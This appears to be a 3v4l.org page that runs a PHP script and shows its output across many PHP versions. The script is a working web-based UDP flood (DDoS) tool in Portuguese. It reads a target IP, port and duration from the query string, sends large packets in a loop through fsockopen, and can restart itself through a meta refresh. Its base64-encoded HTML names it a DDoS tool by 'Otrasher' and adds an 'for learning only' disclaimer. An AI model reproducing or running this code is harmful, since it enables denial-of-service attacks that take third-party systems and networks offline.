3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $packets = 0; set_time_limit(0); ignore_user_abort(FALSE); if ($_GET["ip"]==""){ ?> <?php $codado = 'PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHksdGQsdGggew0KCWNvbG9yOiAjRkYzOw0KfQ0KDQpib2R5IHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMDAwOw0KCWJhY2tncm91bmQtaW1hZ2U6IHVybChodHRwOi8vaS5pbWd1ci5jb20vOURhYWJvUy5qcGcpOw0KCWJhY2tncm91bmQtcmVwZWF0OiByZXBlYXQ7DQoJdGV4dC1hbGlnbjogY2VudGVyOw0KCWNvbG9yOiAjNjY2Ow0KfQ0KLnRleHQgew0KCWNvbG9yOiAjRkZGOw0KfQ0KLmRpdiB7DQoJdGV4dC1hbGlnbjogY2VudGVyOw0KCWhlaWdodDogNjAwcHg7DQoJd2lkdGg6IDUwMHB4Ow0KCW1hcmdpbi1yaWdodDogYXV0bzsNCgltYXJnaW4tbGVmdDogYXV0bzsNCglib3JkZXI6IDFweCBzb2xpZCAjRkZGOw0KCS1tb3otYm9yZGVyLXJhZGl1czogMTBweDsNCgktd2Via2l0LWJvcmRlci1yYWRpdXM6IDEwcHg7DQoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDsNCglmaWx0ZXI6YWxwaGEob3BhY2l0eT03MCk7DQoJLW1vei1vcGFjaXR5OjAuNzsNCgkta2h0bWwtb3BhY2l0eTogMC43Ow0KCW9wYWNpdHk6IDAuNzsNCgliYWNrZ3JvdW5kLXJlcGVhdDogcmVwZWF0Ow0KfQ0KYTpsaW5rIHsNCgljb2xvcjogI0YwMDsNCn0NCmE6dmlzaXRlZCB7DQoJY29sb3I6ICNGMDA7DQp9DQphOmhvdmVyIHsNCgljb2xvcjogI0YwMDsNCn0NCmE6YWN0aXZlIHsNCgljb2xvcjogIzBGRjsNCn0NCi5xIHsNCgljb2xvcjogIzBGRjsNCn0NCjwvc3R5bGU+DQo8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XI8L2E+LjwvcD4NCiAgPHA+RXN0JmFhY3V0ZTsgZmVycmFtZW50YSAmZWFjdXRlOyBhcGVuYXMgcGFyYSBhcHJlbmRpemFkbyxuJmF0aWxkZTtvIG1lIHJlc3BvbnNhYmlsaXphcmVpIHBvciBzZXUgbWF1IGF0byE8L3A+DQogIDxwPkJ5IE90cmFzaGVyLjwvcD4NCjwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg=='; echo base64_decode($codado2); ?> <?php }else{ $ip = $_GET["ip"]; $rand = $_GET["port"]; $exec_time = $_GET["time"]; $lopp = $_GET["lopp"]; $time = time(); $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= "OtrasherDDoSTOOL"; } while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } ?> <?php $codado3 = 'PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5VY2hpaGEgbWFkYXJhLEthdG9uflRPT0wuPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5LHRkLHRoIHsNCgljb2xvcjogI0ZGMzsNCn0NCg0KYm9keSB7DQoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDsNCgliYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cDovL2kuaW1ndXIuY29tLzlEYWFib1MuanBnKTsNCgliY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uflRPT0w8L3NwYW4+PC9mb250PjxiciAvPg0KICA8L2gxPg0KPC9kaXY+DQo8dGFibGUgd2lkdGg9IjIwMCIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIj4NCiAgPHRyPg0KICAgIDx0ZD48aW1nIHNyYz0iaHR0cDovL2kuaW1ndXIuY29tL3o3cHRBNDcucG5nIiB3aWR0aD0iNjAwIiBoZWlnaHQ9Ijc3MyIgLz48L3RkPg0KICA8L3RyPg0KPC90YWJsZT4NCjxwIHN0eWxlPSJmb250LWZhbWlseTogbW9ub3NwYWNlOyBjb2xvcjogI0YwMCI+Jm5ic3A7PC9wPg0K'; echo base64_decode($codado3); ?><?php echo getenv('REMOTE_ADDR'); ?><hr /> <?php print "<h2>Atacando: $ip na porta $rand </h2>";?> <?php echo "Pacotes completo em ".time('h:i:s')." com $Pacotes (" . round(($packets*65)/1024, 2) . " mB) pacotes. ". round($packets/$exec_time, 2) . " pacotes/s \n"; if ($lopp=='sim'){ echo 'Come&ccedil;ando Denovo...<meta http-equiv="refresh" content="0;url=?ip='.$ip.'&time='.$exec_time.'&port='.$rand.'&lopp=sim&button=Fire!" />'; } ?> <?php $codado4 = 'PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCi5DcmVhdGVkIHtmb250LWZhbWlseTogbW9ub3NwYWNlfQ0KcmVkIHsNCgljb2xvcjogI0YwMDsNCn0NCi5vIHsJY29sb3I6ICNGRjM7DQp9DQo8L3N0eWxlPg0KPGRpdiBjbGFzcz0ibyIgc3R5bGU9InRleHQtc2hhZG93OiAxcHggMXB4IDVweCAjRkZGOyBjb2xvcjogI0YzMDsgZm9udC1mYW1pbHk6ICdDb21pYyBTYW5zIE1TJywgY3Vyc2l2ZTsiPg0KICA8aDM+VG9vbCBjb2RhZG8gcG9yIDxhIGhyZWY9Imh0dHBzOi8vdHdpdHRlci5jb20vT3RyYXNoZXIiIHRhcmdldD0iX2JsYW5rIj5PdHJhc2hlcjwvYT4uPC9oMz4NCiAgPHA+RmVycmFtZW50aW5oYSBwYXJhIGF0YXF1ZSBERG9TLERlc2Vudm9sdmlkYSBwb3IgPGEgaHJlZj0iaHR0cHM6Ly90d2l0dGVyLmNvbS9PdHJhc2hlciIgdGFyZ2V0PSJfYmxhbmsiPk90cmFzaGVyPC9hPi48L3A+DQogIDxwPkVzdCZhYWN1dGU7IGZlcnJhbWVudGEgJmVhY3V0ZTsgYXBlbmFzIHBhcmEgYXByZW5kaXphZG8sbiZhdGlsZGU7byBtZSByZXNwb25zYWJpbGl6YXJlaSBwb3Igc2V1IG1hdSBhdG8hPC9wPg0KICA8cD5CeSBPdHJhc2hlci48L3A+DQo8L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4='; echo base64_decode($codado4); ?> <?php } ?>
based on CEaXi
Output for 5.3.0 - 5.6.30, hhvm-3.10.1 - 3.17.3, 7.0.0 - 7.3.0rc3
Notice: Undefined index: ip in /in/FMr2VC on line 7 <style type="text/css"> body,td,th { color: #FF3; } body { background-color: #000; background-image: url(http://i.imgur.com/9DaaboS.jpg); background-repeat: repeat; text-align: center; color: #666; } .text { color: #FFF; } .div { text-align: center; height: 600px; width: 500px; margin-right: auto; margin-left: auto; border: 1px solid #FFF; -moz-border-radius: 10px; -webkit-border-radius: 10px; background-color: #000; filter:alpha(opacity=70); -moz-opacity:0.7; -khtml-opacity: 0.7; opacity: 0.7; background-repeat: repeat; } a:link { color: #F00; } a:visited { color: #F00; } a:hover { color: #F00; } a:active { color: #0FF; } .q { color: #0FF; } </style> <title>Uchiha madara,Katon~TOOL.</title> </head> <body text="#FF3"> <div style="text-shadow: 1px 1px 5px #FFF;"> <h1><font color="#FF3"> <span class="q" style="font-family: monospace; color: #F00;">Uchiha madara,Katon~TOOL</span></font></h1> </div> <table width="200" border="0" align="center"> <tr> <td><img src="http://i.imgur.com/z7ptA47.png" width="600" height="773"></td> </tr> </table> <p>&nbsp;</p> <hr /> <style type="text/css"> .o { color: #FF3; } tytyt { color: #FF3; } #form1 p .text { color: #FF3; } #form1 p label { color: #FF3; } .d { color: #FF3; } .s { color: #FF3; } </style> <form id="form1" name="form1" method="get" action=""> <p><span class="text">IP </span><span class="d">Alvo</span>: <input name="ip" type="text" id="ip" value="127.0.0.1" /><br/> <span class="text">Tempo</span>: <input name="time" type="text" id="time" value="289" /> <span class="s">Porta</span>: <input name="port" type="text" id="port" value="Porta" /> <br/> <input type="radio" name="lopp" id="lopp" value="sim" /> <label for="lopp"> Repetir Jutsu!</label> <br/> <input type="submit" name="button" id="button" value="KATON!" /> </p> </form> <div class="o" style="text-shadow: 1px 1px 5px #FFF; color: #F30; font-family: 'Comic Sans MS', cursive;"> <h3>Tool codado por <a href="https://twitter.com/Otrasher" target="_blank">Otrasher</a>.</h3> <p>Ferramentinha para ataque DDoS,Desenvolvida por <a href="https://twitter.com/Otrasher" target="_blank">Otrasher</a>.</p> <p>Est&aacute; ferramenta &eacute; apenas para aprendizado,n&atilde;o me responsabilizarei por seu mau ato!</p> <p>By Otrasher.</p> </div> </body> </html>
Output for 4.3.0 - 5.2.17
Notice: Undefined index: ip in /in/FMr2VC on line 7 <style type="text/css"> body,td,th { color: #FF3; } body { background-color: #000; background-image: url(http://i.imgur.com/9DaaboS.jpg); background-repeat: repeat; text-align: center; color: #666; } .text { color: #FFF; } .div { text-align: center; height: 600px; width: 500px; margin-right: auto; margin-left: auto; border: 1px solid #FFF; -moz-border-radius: 10px; -webkit-border-radius: 10px; background-color: #000; filter:alpha(opacity=70); -moz-opacity:0.7; -khtml-opacity: 0.7; opacity: 0.7; background-repeat: repeat; } a:link { color: #F00; } a:visited { color: #F00; } a:hover { color: #F00; } a:active { color: #0FF; } .q { color: #0FF; } </style> <title>Uchiha madara,Katon~TOOL.</title> </head> <body text="#FF3"> <div style="text-shadow: 1px 1px 5px #FFF;"> <h1><font color="#FF3"> <span class="q" style="font-family: monospace; color: #F00;">Uchiha madara,Katon~TOOL</span></font></h1> </div> <table width="200" border="0" align="center"> <tr> <td><img src="http://i.imgur.com/z7ptA47.png" width="600" height="773"></td> </tr> </table> <p>&nbsp;</p> <hr /> <style type="text/css"> .o { color: #FF3; } tytyt { color: #FF3; } #form1 p .text { color: #FF3; } #form1 p label { color: #FF3; } .d { color: #FF3; } .s { color: #FF3; } </style> <form id="form1" name="form1" method="get" action=""> <p><span class="text">IP </span><span class="d">Alvo</span>: <input name="ip" type="text" id="ip" value="127.0.0.1" /><br/> <span class="text">Tempo</span>: <input name="time" type="text" id="time" value="289" /> <span class="s">Porta</span>: <input name="port" type="text" id="port" value="Porta" /> <br/> <input type="radio" name="lopp" id="lopp" value="sim" /> <label for="lopp"> Repetir Jutsu!</label> <br/> <input type="submit" name="button" id="button" value="KATON!" /> </p> </form> <div class="o" style="text-shadow: 1px 1px 5px #FFF; color: #F30; font-family: 'Comic Sans MS', cursive;"> <h3>Tool codado por <a href="https://twitter.com/Otrasher" target="_blank">Otrasher</a>.</h3> <p>Ferramentinha para ataque DDoS,Desenvolvida por <a href="https://twitter.com/Otrasher" target="_blank">Otrasher</a>.</p> <p>Est&aacute; ferramenta &eacute; apenas para aprendizado,n&atilde;o me responsabilizarei por seu mau ato!</p> <p>By Otrasher.</p> </div> </body> </html>